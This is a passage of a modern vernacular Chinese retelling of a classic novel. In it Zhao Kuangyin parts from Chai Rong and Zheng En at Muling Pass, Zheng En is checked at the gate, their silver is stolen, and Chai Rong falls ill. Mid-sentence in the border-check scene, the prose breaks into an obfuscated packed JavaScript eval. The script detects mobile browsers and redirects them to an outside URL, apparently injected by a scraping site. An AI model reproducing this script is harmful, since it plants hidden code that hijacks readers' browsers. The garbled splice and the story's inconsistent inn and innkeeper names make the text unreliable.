“不好!二哥被她抓了!”郑恩大喊一声,提着枣树棍就追了上去,一边追一边喊:“女娃娃!你想求亲就好好说,怎么还抢人啊!快把我二哥放了,这门亲事俺帮你做主!俺当媒人,让大哥主婚,保准让你嫁给二哥,俺一分媒人钱都不要!你要是不放人,俺跟你没完!” 再说赵匡胤,被神钩绑在马后,像被钉住了一样,怎么挣扎都没用。他又急又恨——急的是自己被抓,大哥三弟肯定会追过来,万一也被这女子抓住就完了;恨的是自己太大意,居然没防住她的法宝。 就在这时,他突然想起一件事——他的神煞棍棒是仙人送给岳父的,专门用来除邪破妖,是件宝贝!虽然现在被绑着,但双手还能活动,他赶紧伸手摸出棍棒,迎着风晃了晃,又抖了几下,棍棒一下子变成了一条鸾带。 赵匡胤握着鸾带的两头,眼睛紧紧盯着前面的董美英——机会来了!他趁 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郑恩这才停手,跟着赵匡胤去坟园推伞车。两人推着车回到柴荣身边,柴荣赶紧问怎么回事,赵匡胤把杀了董美英的事简单说了一遍,柴荣听完,忍不住叹气:“唉,也是个苦命的女子啊。” 三人坐下来歇了会儿,眼看太阳要落山了,柴荣赶紧说:“天快黑了,咱们得赶紧赶路,不然晚上不安全。”于是,三人轮流推着伞车,一路上晚上找客栈住,早上赶路,饿了就找饭馆吃饭,倒也安稳。 走了几天,前面出现了一座关隘,城门上写着“木铃关”三个大字。柴荣指着关隘说:“二位贤弟,前面就是木铃关了,这是往来的要道,平时查得就严。按规矩,过路人必须先办一张路引,不然不让过。你们先去前面的客栈等着,我去关上当办三张路引,明天咱们就能过关了。”说着,他把伞车交给郑恩,自己往关隘走去。 赵匡胤和郑恩推着伞车,找了家看着干净的招商客栈,选了间宽敞的房间把车放下,又让店家做了几个菜,两人先吃了,坐在屋里等柴荣。 过了半个时辰,柴荣才回来,一进门就皱着眉,脸色很难看。赵匡胤赶紧站起来问:“大哥,路引办好了吗?” 柴荣叹了口气,说:“办是办了,可只办了两张。” “咱们三个人,怎么只办了两张?”赵匡胤纳闷地问。 柴荣赶紧往门口看了看,确定没人,才压低声音说:“二弟,你这下难过关了。” 赵匡胤心里一沉:“大哥,我怎么难过关了?” “你忘了你在东京杀了御乐的事了?”柴荣的声音更小了,“朝廷早就贴了榜文,到处抓你。听说后来风声漏了,你父亲怕被连累,主动给朝廷上了奏折,把你的事说了。现在汉主已经让人画了你的画像,贴遍了天下,专门抓你。我刚才去关隘,亲眼看见了你的画像,跟你一模一样。那告示上写得可吓人了,说谁要是抓住你,有重赏;谁要是敢藏你,满门抄斩。我本来想编个理由多办一张路引,可关里查得太严,我怕被认出来,只好先办了我和三弟的路引回来,再想办法。” 赵匡胤听完,一下子愣在原地,心里又惊又凉——他知道杀了御乐是大事,可没想到朝廷会抓得这么紧,连父亲都主动出首了。他低着头,半天没说话,心里乱糟糟的:要是过不了关,以后该去哪里? 郑恩一看赵匡胤发愁,赶紧说:“二哥,你愁什么!依俺说,明天咱们直接过关,要是那些官差敢拦,俺用枣树棍,你用棍棒,打过去就是了,还怕他们不成?” “三弟你别胡说!”柴荣赶紧拦住他,“这关隘上有好多士兵,可不是闹着玩的。硬闯肯定不行,得再想别的办法。” 赵匡胤沉默了半天,突然眼睛一亮:“我有个主意!我有个嫡亲的姨母,住在首阳山后面,那里都是树林,没多少人,很偏僻。咱们不如先去她家住一年半载,等朝廷的风头过了,再过关去投奔我母舅,找个地方安身。大哥,你觉得怎么样?” 柴荣听完,心里却犯了嘀咕:我本是个做买卖的,跟着赵匡胤这种犯了罪的公子,一来身份不搭,二来万一被官府查到,我也得跟着倒霉。不如先跟他们分开,等他们的事平息了,再找他们也不迟。 他想了想,说:“二弟,你的主意是好,我本该跟你们一起去。可你也知道,我经常在木铃关这边做买卖,好多店铺都等着我的伞卖呢。要是这次失信了,以后他们就不跟我做生意了。不如这样,你先带着三弟去首阳山投奔你姨母,我先进关把伞卖了,等忙完了,立刻就去找你们,到时候咱们再一起想办法过日子。这样既不耽误我的买卖,也不耽误你们躲风头,你看行吗?” 赵匡胤听他这么说,也不好勉强——毕竟买卖是柴荣的生计,不能因为自己耽误他。他想了想,说:“既然大哥的买卖重要,那我也不拦你。只是你一个人过关,路上肯定辛苦,不如让三弟跟你一起去,帮你搭把手。等你忙完了,记得早点来找我们,别让我们等太久。” 他话还没说完,郑恩一下子跳起来,大声说:“俺不去!俺不去!俺要跟二哥一起去首阳山,才不跟你去卖伞呢!” 正是这一场分离,引出后来的故事——郑恩陪着赵匡胤,患难与共,不负兄弟情;赵匡胤在首阳山暂避,躲过了官府的追捕,为后来的大事埋下了伏笔。真是:刚想一起长久相伴,没成想转眼就要分离。 到底郑恩最后肯不肯跟柴荣去,咱们下回再说。 12. 第 12 章 话说赵匡胤见柴荣死活不肯跟自己去首阳山,只好让郑恩陪着柴荣先过关去卖伞,等把货卖完了,再想办法碰面。可郑恩一听就急了,扯着大嗓门喊:“俺不去!俺不去!让大哥自己去卖他的破伞,俺就想跟着你走,这样才痛快!” 赵匡胤叹口气,耐着性子劝:“三弟,你不知道这里面的门道。大哥性子软,心又善,出门在外容易被人欺负,有你跟着,遇事还能帮衬着商量,你听我的准没错。” 郑恩梗着脖子,脸上满是不乐意:“俺就稀罕跟你在一块儿,你咋非得逼俺跟大哥走?” “不是逼你,”赵匡胤眉头皱了皱,想起之前在路上闹的几场事,语气沉了沉,“咱们一路上闹了不少动静,前头说不定还有仇家等着找事,大哥那性子哪扛得住?有你在身边护着,我才能放心。这是按理该做的,你就别推辞了。” 郑恩听赵匡胤这么说,才算松了口:“既然你这么说,俺也不能扫你的兴。不过咱们从董达那儿拿的那些银子,二哥你分一半走,好当路费。” 赵匡胤摆摆手:“不用,我这儿还有些碎银子够花。那些银子你给大哥吧,添点本钱,也显显你的心意。”说完又朝柴荣和郑恩拱了拱手,“大哥,三弟,我这就告辞了。” 郑恩一把拽住赵匡胤的胳膊,眼眶瞬间就红了:“二哥你等等!俺去买壶酒给你送行,咋能就这么走了?” “三弟别麻烦了,”赵匡胤挣了挣胳膊,心里也发紧,“我得赶紧上路,要是在这儿待久了,走漏了风声,反倒麻烦。” “你咋回事啊!”郑恩急得直跺脚,声音都带了颤,“盘缠你不要,连口送行酒都不肯喝?你性子也太急了!俺……俺舍不得你走啊!”说着说着,郑恩的眼泪就像断了线的珠子,噼里啪啦往下掉,抽抽搭搭地说:“俺的好二哥,你可是又仁义又疼人的好兄弟!俺以前在村里卖香油,要不是苗先生让俺给你送帖子,哪能在黄土坡跟你和大哥结义?俺还想着以后常跟着你,谁知道木铃关到处贴告示抓你,咱们这就要分开了……俺都不知道啥时候才能再见面,你可别让俺想坏了!” 郑恩越哭越凶,那哭声又大又委屈,活像受了天大的委屈,柴荣在一旁也忍不住抹眼泪。赵匡胤看着这情景,心里酸得慌,眼泪也忍不住往下掉,他拍了拍郑恩的肩膀:“三弟别难过,我有几句话你记牢了,才算是真的疼我。咱们现在分开,总有再见的时候。大哥这人一辈子心软,遇事总往后缩,我把他托付给你,你凡事多让着点,别动不动就发脾气,伤了兄弟情分。要是他身子不舒服,你可得好好照顾,这样我就算走了,心里也踏实。” 接着赵匡胤又转向柴荣:“大哥,我还有句话跟你说。我这次去投亲,实在是没办法。你过关有三弟陪着,我也放心,可他是个粗人,你别跟他计较。货卖完了,赚了钱,赶紧去首阳山找我们,别让我和三弟惦记。” 柴荣点点头,眼里满是担忧:“贤弟的话我记着了。我也劝你一句,你现在是逃灾的人,长相又好认,路上千万别惹事。到了亲戚家先躲躲,等风头过了,咱们再聚。你可得当心。” “大哥放心,我心里有数。”赵匡胤说完,就要磕头告别。柴荣和郑恩没办法,只好送他到路口,三个人站在岔路口,眼泪汪汪地分了手。世上最让人难受的事,莫过于活生生的分离啊。有诗为证: 为躲灾祸往偏僻处走,路上分离各自心里愁。 赶路的人惦记着烦心事,眼泪打湿衣襟连做梦都乱。 咱们先不说赵匡胤去首阳山的事,单说柴荣和郑恩回到招商店。天眼看就要黑了,两人吃了点酒饭,柴荣说:“三弟,今天太晚了,过不了关了,咱们就在这儿住一晚,明天再走。” 郑恩伸了个懒腰,浑身骨头都响:“大哥说得对,俺也累得慌,睡一晚再走也不迟。”说完就往炕上一躺,闭着眼就要睡。 柴荣赶紧喊住他:“你先别睡,把车上的行李收拾好再睡,免得丢了东西。” 郑恩一听,骨碌一下爬起来,挠了挠头:“还是大哥想得周到,俺累糊涂了,差点忘了这事。”他起身走到车边,把装银子的裤子和被套都提过来,放在炕上摆好,又躺回去,没一会儿就想打呼噜。 柴荣又喊:“三弟,你再起来会儿,我还有事跟你说。” 郑恩闷哼一声,不耐烦地说:“有啥话赶紧说,别耽误俺睡觉,明天还得赶路呢。” 柴荣叹了口气,指着郑恩的腿说:“你从跟我们见面到现在,一直光着腿,就靠一件长袍遮着。之前走的都是小村子,天气又暖和,倒也没事。可明天要过关,关里查得严,要是看见你光着腿,肯定会起疑心。我刚才看见店对面有个布店,你今晚去买几丈布,让店主婆给你做条裤子,穿着过关才安全。再说天气也快冷了,总不能一直光着腿。” 郑恩翻了个身,满不在乎地说:“俺光着腿惯了,怕他们干啥?你忘了上次董美英的妖法,还是俺光着腿才破的?明天过关俺还这样,看他们能咋地!要是他们敢多嘴,俺就用枣木棍揍他们!大哥你别瞎操心了,俺困得很,要睡觉了。” 柴荣还想再劝,可扭头一看,郑恩已经打起了呼噜,睡得正香。柴荣无奈地摇摇头:“这粗人,光顾着睡觉,连自己的穿着都不管,真是又可气又可笑。算了,还是我帮他办吧,省得过不了关惹麻烦。” 柴荣揣了些碎银子,锁好房门走了出去。刚到门口,就看见一个挑着担子的轿夫蹲在路边叹气,轿夫身边放着一个包袱,里面好像是衣服。柴荣走过去问:“这位大哥,你蹲在这儿干啥呢?” 轿夫抬起头,脸上满是愁容,他叫王二,是个跑长途的轿夫,家里老娘病了,急着用钱,没办法才想把自己备用的衣裤卖了。王二苦着脸说:“客官,俺老娘病了,等着钱抓药,俺这包袱里有几条裤子、几双鞋袜,都是新的,你要是需要,便宜卖给你。” 柴荣一听,心里一动,他打量了王二一下,见他身材高大,跟郑恩差不多,就说:“我看看你的衣服。”王二赶紧打开包袱,柴荣挑了一条粗布裤子、一双布鞋和一双布袜,又问:“这裹脚布有没有?”王二说:“有,俺这儿有两丈白布,你要是要,一起算钱。” 柴荣跟王二讲好价,给了四钱银子,又多给了二钱,说:“大哥,你老娘病了,这点银子你拿着,买点好的给老人家补补。”王二没想到遇到这么好心的人,赶紧磕头道谢,柴荣扶起他,提着东西回了店。 回到店里,柴荣叫店小二点上灯,把东西收拾好,又检查了一遍行李,才吹灭灯睡觉。这可真是: 就算古人赠袍显情义,也不如安安稳稳睡一觉啊。 第二天一早,柴荣和郑恩都起了床,梳洗完毕,柴荣把昨晚买的衣裤递给郑恩:“三弟,这是我给你买的裤子、鞋袜和裹脚布,你穿上,咱们吃了饭好过关。” 郑恩接过衣服,摸了摸粗布,心里暖暖的,他挠了挠头,有点不好意思地说:“大哥,咋能让你费心又花钱呢?这得花多少银子?俺以后加倍还你!” 柴荣笑了笑:“咱们是兄弟,说啥还不还的?你赶紧穿上,收拾好行李,咱们吃了早饭就走。” 郑恩赶紧穿上裤子,盘好裹脚,套上鞋子,站起来走了两步,觉得比光着腿舒服多了,心里更感激柴荣。他收拾行李时,把装银子的裤子搭在被套上,往车上一放,柴荣一看就说:“三弟,过关的人多,你把银子放在上面,要是被人偷了咋办?不如把伞挪开一层,把银子和被套藏在中间,再用伞压着,这样才安全。” 郑恩撇撇嘴,满不在乎地说:“大哥你也太小心了,这点小事怕啥?前头有俺拽车,后头有你推车,谁敢来偷?咱们赶紧走,别磨蹭了。” 柴荣无奈地笑了笑:“既然你不听,那咱们就走吧,你多留意点。”说完叫店小二把早饭端上来,两人吃完,结了账,推着车出了店门。郑恩肩上扛着枣木棍,用绊带套在肩上拽车,柴荣在后面推,两人慢慢往前走去。 走了不到三里路,就到了木铃关的东门。只见关口挤满了人,有推车的、挑担的、赶牲口的,还有步行的,各行各业的人都有,挤得水泄不通。郑恩拽着车,左挤右挤也走不动,顿时就火了,扯开嗓子喊:“都给俺让开!挤在这儿干啥?耽误俺赶路!” 这一嗓子又大又凶,周围的人都吓了一跳,纷纷抬头看。有人看见郑恩黑沉沉的脸,吓得赶紧嚷嚷:“我的天!这黑面的不会是灶王爷下凡吧?快让开快让开,别惹祸!”众人一听,赶紧往两边躲,一下子就让出一条路来。 郑恩得意地笑了:“大哥,快使劲推,咱们赶紧过关!”柴荣赶紧使劲推车,两人一路冲到城门口。 这时,一个穿着官服的人走了过来,他是这木铃关的巡关都头,叫李虎。最近朝廷下了死命令,要抓杀了女乐的赵匡胤,李虎因为没抓到人,已经被上司骂了好几次,心里正窝着火。他看见柴荣和郑恩,大喝一声:“卖伞的,把路引拿出来,俺要验看!” 柴荣赶紧停下车子,从怀里掏出两张路引,走到李虎跟前递过去。李虎身边的军卒接过路引,放在桌子上,李虎拿起路引,一边看一边打量柴荣,见柴荣的长相、年纪、职业都跟路引上写的一样,就点了点头,让柴荣过去了。 接着李虎又看向郑恩,拿起郑恩的路引,看了一眼路引,又看了一眼郑恩,来来回回看了好几遍,突然一拍桌子,大声喊:“军卒们!把他给俺抓起来!这小子准是犯了大事,今天自投罗网!真是踏破铁鞋无觅处,得来全不费工夫!” 旁边的十几个军卒一听,赶紧冲上去把郑恩按住。柴荣在一旁吓得脸都白了,心里直打鼓,不知道出了啥事儿,想辩解又不知道该说啥。郑恩倒也镇定,被军卒按住了还不慌不忙,哈哈大笑:“你这驴日的官儿,俺就是过个关卖伞,你抓俺干啥?要是想请俺吃饭,好好说不就行了,俺又不是不给你面子!” 李虎又仔细看了看郑恩,指着他的脸说:“军卒们!把他脸上的黑灰擦掉!这小子准是红脸蛋,故意抹了黑灰想蒙混过关,今天落在俺手里,算他倒霉!你们赶紧动手,把黑灰擦掉,准备用囚车把他解送京城!” 军卒们赶紧答应,有两个军卒还吐了点唾沫在手上,往郑恩脸上擦。其中一个军卒叫小张,心里直犯嘀咕:这黑面看着不像抹的,可都头发了话,又不敢不听。两人擦了半天,郑恩脸上的黑一点没掉,小张心里更确定这是天生的黑了。 郑恩瞪着眼睛骂:“驴日的!俺脸上又不脏,你们用唾沫擦啥?想把俺擦干净了去吃席啊?” 小张一边擦一边小声说:“兄弟,你别骂了,俺们也是没办法。都头说朝廷在抓一个红脸蛋的人,叫赵匡胤,杀了十八个女乐,到处贴告示抓他,谁抓到了赏千金,封万户侯。都头看你脸黑,怀疑你是故意抹的,所以让俺们擦。要是擦不掉,就证明你是天生的黑,就放你走。” 郑恩这才明白过来,心里暗自庆幸:幸好二哥没跟来,要是跟来,准得被他们抓了。他大声说:“你们瞎擦啥?俺这脸是娘生爹养的,天生就这么黑,你们擦破了皮也没用!” 军卒们又擦了一会儿,见还是没效果,只好停下手,走到李虎跟前禀报:“都头,这人脸是天生的黑,不是抹的,俺们擦了半天都没擦掉,您看……” 李虎皱着眉头,不信地说:“你们是不是没好好擦?这么黑的脸,哪有人天生就这么丑?你们再仔细看看!” 小张赶紧说:“都头,俺们真的用尽力气擦了,指头上一点黑灰都没有,这肯定是天生的。” 李虎还是不信,站起来走到郑恩跟前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519277|186248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,绕着他走了一圈,又用手指在郑恩脸上蹭了蹭,见手指上没黑灰,这才相信是天生的,只好不耐烦地说:“行了行了,放他过关吧。” 军卒们赶紧把郑恩放了。只听“当当当”敲了三下云板,军卒们又喊了一声:“开门过关!”守关的士兵赶紧把城门打开。后面的人赶紧递上路引,都是普通百姓,验完就放过去了。 柴荣和郑恩跟着人群往外走,人太多了,把柴荣的车挤得东倒西歪。柴荣不小心被人挤掉了鞋,赶紧弯腰去捡,郑恩在前面只顾着拽车,没注意后面的情况。这时候,人群里有个贼眉鼠眼的人,叫刘三,是个惯偷,早就盯上了郑恩车上的行李。刘三见柴荣弯腰捡鞋,郑恩又没回头,赶紧挤到车边,用小刀割开装银子的裤子,把银子偷走了,然后混在人群里溜走了。 柴荣捡好鞋,推着车跟着郑恩走,光顾着喘气,没注意车上的银子没了。郑恩还一个劲地往前拽,心里想着赶紧到泌州卖了伞,好去找赵匡胤。 两人出了关,走了不到十里路,郑恩回头问:“大哥,咱们这伞卖到哪儿去啊?” 柴荣喘了口气说:“前面还有十几里路,有个泌州城,城里好多人都跟我买过伞,咱们去那儿卖。” 郑恩一听,来了精神:“那咱们赶紧走,卖完伞俺好去找二哥!”他把绊带紧了紧,扛着枣木棍,撒开腿就往前跑。郑恩力气大,腿又长,跑起来飞快,柴荣在后面推着车,根本跟不上。 柴荣平时就是个卖伞的,力气不大,今天被郑恩拽着跑,累得满头大汗,喘得上气不接下气。他抬头看天,只觉得天上的云跑得飞快,低头看路,路边的树好像都在往后倒。柴荣实在跑不动了,喊:“三弟,你慢点儿!俺跟不上了!” 郑恩根本没听见,只顾着往前跑,柴荣被车拽着,脚都快沾不着地了,手也被车把磨得生疼。柴荣急得喊:“三弟!你慢点儿!俺的手都磨破了,脚也疼得厉害,实在跑不动了!你别这么使劲啊!” 郑恩还是不听,跑得更快了。柴荣又气又急,忍不住骂:“你这黑小子!俺是你大哥,你咋能这么折腾俺?要是把俺累坏了,俺去官府告你,打断你的腿!” 郑恩在前头跟没听见一样,还是往前跑。没一会儿,两人就到了泌州城下。郑恩停下脚步,笑着说:“痛快!这十几里路,跟玩儿似的!大哥,你也没咋使劲,多轻松!” 柴荣靠在车边,大口大口地喘气,浑身的汗把衣服都湿透了,他缓了半天,才指着郑恩骂:“你这黑小子,差点把俺累死!哪有你这么赶路的?说了不听,真是个蠢货!赶紧进城找个店住下,俺要吃饭!” 郑恩心里也有点不高兴,把绊带一扔:“你咋不讲理呢?明明是你自己跑不动,还骂俺!早上吃的饭早就消化完了,俺早就饿了,进城找店吃饭才对!” 柴荣没力气跟他吵,只好说:“行了行了,赶紧进城,找个店住下吃饭。” 郑恩捡起绊带,拽着车进了泌州东门。走了没几步,柴荣看见路北有个店,说:“这是张家老店,俺以前来泌州都住这儿,店主姓张,人特别好,咱们就住这儿吧。” 郑恩点点头:“俺不管店主好不好,只要有酒有肉就行。” 两人把车拽进店里,店小二赶紧迎上来。店小二叫李四,平时就爱听些鬼神故事,今天一见郑恩,吓得脸都白了,转身就跑,嘴里喊:“有鬼!有鬼啊!” 柴荣赶紧抓住李四,问:“小二哥,你咋了?哪儿有鬼啊?” 李四吓得浑身发抖,指着郑恩说:“柴客人,你咋带个黑鬼来店里?就在你后面呢!你没看见吗?” 柴荣又气又笑:“你瞎嚷嚷啥?这是俺兄弟,不是鬼!” 李四不信:“世上哪有这么黑的人?俺家挂的钟馗像都比他白!” 郑恩在后面听见了,哈哈大笑,走过去拍了拍李四的肩膀:“你这驴日的店小二,俺是人,不是鬼!你好好看看,俺到底是人是鬼!” 李四被郑恩拍得一哆嗦,定了定神,仔细看了看郑恩。这时太阳快落山了,阳光照在郑恩身上,地上有个长长的影子。李四这才明白过来,不好意思地说:“黑客人,俺有眼无珠,把你当成鬼了,你别生气啊。” 郑恩摆摆手:“行了行了,别废话了,俺饿了,赶紧把好酒好肉端上来!” 李四赶紧点头:“好嘞!您稍等,俺这就去准备!” 柴荣和郑恩把车推进一间宽敞的屋子,放好行李。没一会儿,李四就端着酒肉进来了,两人狼吞虎咽地吃了起来。 吃完饭,郑恩走到车边,想看看银子还在不在,可一翻行李,只有被套,装银子的裤子空了,银子不见了。郑恩一下子就火了,拍着桌子喊:“俺的银子呢?谁把俺的银子偷了?” 郑恩这一拍,把桌子上的碗都震倒了,柴荣赶紧走过来:“三弟,你别急,慢慢找,是不是掉在半路上了?” 郑恩把行李翻了个底朝天,还是没找到银子,气得直跺脚:“肯定是过关的时候被人偷了!俺就说大哥你太小心,结果还是被偷了!这可咋整?没有银子,咋卖伞?咋找二哥?” 柴荣也急了,他想了想,说:“三弟,你别慌,咱们先问问店主,看看城里有没有捕快,报案找找看。要是找不到,咱们先把伞卖了,赚了钱再找二哥也不迟。” 郑恩皱着眉头,心里又急又气,可也没办法,只好点点头:“行吧,明天俺就去报案!要是找不着银子,俺饶不了那个小偷!” 正是因为这次丢了银子,郑恩心里憋着火,后来跟柴荣还闹了不少矛盾,好好的兄弟情差点出了岔子。这可真是: 不是因为暗地里丢了东西,哪会让兄弟情分出问题? 郑恩到底能不能找回银子?他和柴荣又会遇到啥事儿?咱们下回再说。 13. 第 13 章 话说郑恩摸遍了裤腰,也没找着那包银子,急得把车上的雨伞卸下来翻来覆去地查,连个银角子的影子都没有,嘴里不住地“唔哇”直骂。一旁的柴荣见他这模样,皱着眉问道:“你这是找啥呢?愁眉苦脸的跟丢了魂似的。” 郑恩猛地直起身,嗓门也高了三分:“大哥!你见着我裤腰里那包银子没?就是二哥留给咱做本钱的那笔!” 柴荣一听也慌了,赶紧回想:“那银子在木铃关的客栈出发时,你连装银子的布套子一起塞车上了,当时我还劝你放稳当点,怎么现在说没就没了?” 郑恩又蹲下身,把车上的雨伞一包一包搬下来,铺在客栈的青石板地上仔细扒拉,指缝里都透着急。可翻了半天还是啥都没有,他顿时火冒三丈,一脚踹在车轱辘上,骂道:“他娘的!准是哪个驴球入的偷了去!这银子是二哥一分不留给咱的,要是没了,咱这伞生意还做个屁!” 柴荣也跟着跳起来,又气又急:“黑贼!我早跟你说把银子压在车底,用伞包盖严实,你偏不听,非要放上面,还说自己能看好!现在丢了,你倒怪起别人来了?你的‘看好’就是让银子长腿跑了?” 郑恩本就窝着火,听柴荣这么说,顿时瞪圆了眼,嘴唇噘得能挂油瓶,眉毛拧成个疙瘩:“老柴!你这话讲得没良心!一路上我在前头拉车,你在后头推,我又没长后眼,怎么看得住?你在后头倒清闲,连个动静都没察觉,要说照看,该是你没尽到责才对!自己不当心,倒来怨我,这屈气我可受不了!” 柴荣气得脸都白了:“你这黑厮!明明是你拗着性子来,不听劝才丢了银子,反倒跟我吵!这银子丢了,你倒有理了?” 郑恩啐了一口,声音也沉了些,带着点委屈:“你是真不明事理!这银子来得容易吗?二哥在木铃关跟那些兵卒周旋,又把自己的盘缠都给了咱,他一分没要,就盼着咱能靠这生意混口饭吃。可你呢?福薄命浅,连这点造化都没有,银子丢了不怨自己运气差,倒怪我没照看!跟你这种人,我没话好说!”说完,他铁青着脸走到客栈门口的台阶上坐下,双手抱胸,一口接一口地叹气,心里又悔又急——悔自己没听柴荣的话,急这银子没了,没法跟二哥赵匡胤交代。 柴荣听郑恩提起赵匡胤,心里也软了半截。他琢磨着:“三弟这话也没说错,当时我要是多提醒两句,或者自己多盯着点,说不定银子就不会丢了。我刚才确实不该只怪他。”于是放缓了语气,走过去拍了拍郑恩的肩膀:“三弟,这事也别吵了,算我运气差,没福气拿这笔外财。现在银子丢了也找不回来了,咱先把雨伞收拾干净,明天赶紧把货卖了,凑够盘缠去找二哥,别在这儿耽误功夫。你也别气了,来搭把手。” 郑恩见柴荣服了软,脸色才缓和些,站起身说:“大哥这话在理。”两人一起把装银子的空布套叠好放进随身的包袱,又把卸下来的雨伞一把把拿起来,用袖子擦去上面的灰尘——那雨伞是新做的,竹骨透着青亮,油布上还印着简单的花纹,擦干净后看着格外鲜亮。两人又数了数,一共五十把,没少一把,这才重新搬上车,推到客栈后院的空屋里放好。 眼看天快黑了,忙活了大半天,两人肚子都饿了。柴荣叫店小二:“小二,煮两碗粥来就行,简单垫垫肚子。” 郑恩一听就不乐意了:“大哥!粥水稀得能照见人影,喝了不到半个时辰就饿,顶个屁用!小二哥,你赶紧打十斤面饼,再擀一锅面汤,得多放辣子,这样才够咱兄弟俩吃饱!” 柴荣皱了皱眉:“也行,小二,粥和饼都做吧,各吃各的。” 店小二苦着脸摆手:“柴客官,您在咱这‘悦来客栈’住了快半个月了,还不知道咱店就一个灶台吗?没法同时煮两样吃食。要不就听这位黑爷的,做面饼面汤,管饱,还抗饿。” 郑恩一听乐了,拍了拍店小二的肩膀:“还是你小子机灵,懂乐子的心思!赶紧去做,越快越好,咱都快饿扁了!”常言说“卖饭的不怕大肚汉”,店小二巴不得客人多点吃食,赶紧应了声“好嘞”,转身就往后厨跑。 没一会儿,店小二就端着两盘热腾腾的面饼和一大锅面汤进来,放在桌上。那面饼有巴掌大,金黄酥脆,面汤里飘着葱花和辣子,香气直往鼻子里钻。郑恩眼睛都亮了,拿起筷子就往嘴里塞,也不管烫不烫,也不管柴荣吃没吃,跟饿狼扑食似的,一口饼一口汤,嘴里还含糊不清地说“好吃”。 柴荣看着他这模样,无奈地摇了摇头——郑恩饭量本就大,之前在二哥那里就一顿能吃五六个馒头,现在见了面饼更是没了节制。不到半个时辰,两盘饼和一锅汤就被郑恩吃了个精光,连碗底的汤都舔干净了。他放下筷子,抹了抹嘴,才想起柴荣,问道:“大哥,这么好吃的东西,你咋不吃?” 柴荣叹了口气:“等你吃够了,我再吃。” 郑恩还以为柴荣跟他抢,笑道:“大哥,你咋还跟乐子争嘴呢?小二哥,再添两盘饼、一锅汤,给我大哥吃!” 店小二在门口听见,吓得脖子一缩,舌头伸出来半天没收回——他从没见过这么能吃的人,两盘饼一锅汤够三个壮汉吃的,这黑厮居然一个人吃了还不够。心里嘀咕归嘀咕,他还是赶紧去后厨又做了一份,端进来的时候,手都有点抖。 郑恩把新端来的饼推到柴荣面前:“大哥,快吃!” 柴荣拿起一个饼,慢慢咬了一口,又盛了碗汤,小口喝着。他本就饭量小,加上之前丢了银子心烦,吃了两个饼、两碗汤就饱了,放下了筷子。 郑恩见他不吃了,又拿起一个饼塞到他手里:“大哥,再吃点!这饼香得很,不吃可惜了!” 柴荣拗不过他,只好硬着头皮又吃了一个,肚子顿时胀得难受,像揣了个石头。剩下的饼和汤,自然又被郑恩扫了个干净。店小二来收碗的时候,看着空盘子空锅,嘴都合不拢。 天黑透了,客栈里点起了油灯,昏昏暗暗的。两人各自收拾了床炕——客栈的房间小,就一张土炕,两人挤着睡。郑恩吃得饱饱的,心里没别的事,躺到炕上没一会儿就打起了呼噜,睡得跟死猪似的,还时不时说两句梦话,一会儿喊“面饼”,一会儿喊“二哥”。 柴荣却睡不着。他本来就吃多了,肚子胀得发疼,翻个身都觉得难受。又想起丢了银子,明天卖伞的本钱本就少了,现在郑恩一顿吃这么多,以后开销肯定更大,越想越愁。正烦着,窗外突然下起了雨,雨点打在房顶上“噼里啪啦”响,他又琢磨着:“下雨了,明天伞肯定不好卖,这可咋整?” 愁绪一堆,他更睡不着了。耳边郑恩的呼噜声震天响,还夹杂着梦话,他心里越发烦躁:“跟这黑厮结伴,真是倒霉!遇事只会蛮干,除了吃就是睡,一点正经事都帮不上,还净添乱!”越想越气,肚子也越疼,慢慢的,头也开始发沉,眼睛也花了,心口像揣了个炭火盆,烧得慌。他一夜都没合眼,时不时哼唧两声,疼得浑身是汗。 第二天一早,天刚蒙蒙亮,雨还没停,只是小了点,飘着毛毛雨。郑恩一骨碌爬起来,推了推柴荣:“大哥,天亮了!雨不大,咱赶紧把伞拉出去卖,卖完了好去找二哥!” 柴荣想坐起来,可头一晕,眼前发黑,身子软得像没骨头,试了好几次都没起来。他喘着气说:“三弟,我……我昨天吃多了,肚子胀得疼,头也晕,起不来……” 郑恩还以为他是懒得动,满不在乎地说:“嗨,这点小事!小二哥,擀碗软和点的面汤来,大哥喝了准好!” 柴荣赶紧摆手:“别……别吃面汤了,我现在看见吃的就难受,你让小二烧壶热水来,我喝点就行。” 郑恩只好叫店小二烧了壶热水,倒了碗给柴荣。柴荣喝了两口,稍微舒服点,又躺回炕上,哼唧声没停过。 郑恩见他这样,也没放在心上——在他眼里,肚子疼不算啥病,挺挺就过去了。他把柴荣放在枕头下的银包揣进自己腰里,就出门闲逛去了。路过一家酒馆,闻着酒香,脚就挪不动了,进去买了半斤酒、一盘酱牛肉,坐在酒馆里慢悠悠地吃,喝到八成醉才晃悠悠地回客栈。 刚进房间,就听见柴荣有气无力地喊:“三弟……有冷水吗?我渴得厉害……” 郑恩带着酒劲,舌头有点打卷:“冷……冷水有啥好喝的?喝……喝酒才痛快!”嘴上这么说,还是叫店小二端了瓢冷水来。 柴荣喝了几口,稍微缓解了点口干,又躺了下去。郑恩则一头栽倒在炕上,没一会儿就鼾声再起,醉得人事不知。 就这么过了三四天,柴荣的病不仅没好,反而更重了。他躺在炕上,浑身发冷,可胸口却烧得厉害,嘴唇干得裂了口子,说话都没力气了。他知道再拖下去不行,只好拉着郑恩的衣角,虚弱地说:“三弟……你去跟店家说,让他请个大夫来……看看我的病……” 郑恩这才意识到柴荣病得不轻,赶紧跑到前堂,跟客栈老板王掌柜说:“王掌柜,我大哥病得厉害,你赶紧找个好大夫来!钱不是问题!” 王掌柜也怕客人在店里出事,赶紧叫店小二去请镇上有名的刘一帖。这刘一帖可不是一般的大夫,祖传的医术,望闻问切都精通,不管啥疑难杂症,只要他开一帖药,大多能好,镇上的人都叫他“刘神医”。有人还写了首《西江月》夸他: 祖传医术传几代,望闻问切不掺假。《难经》《脉诀》悟透精华,生死关头断得准。药按君臣佐使配,分两毫厘都不差。治病从不瞎糊弄,刘一帖名传天下。 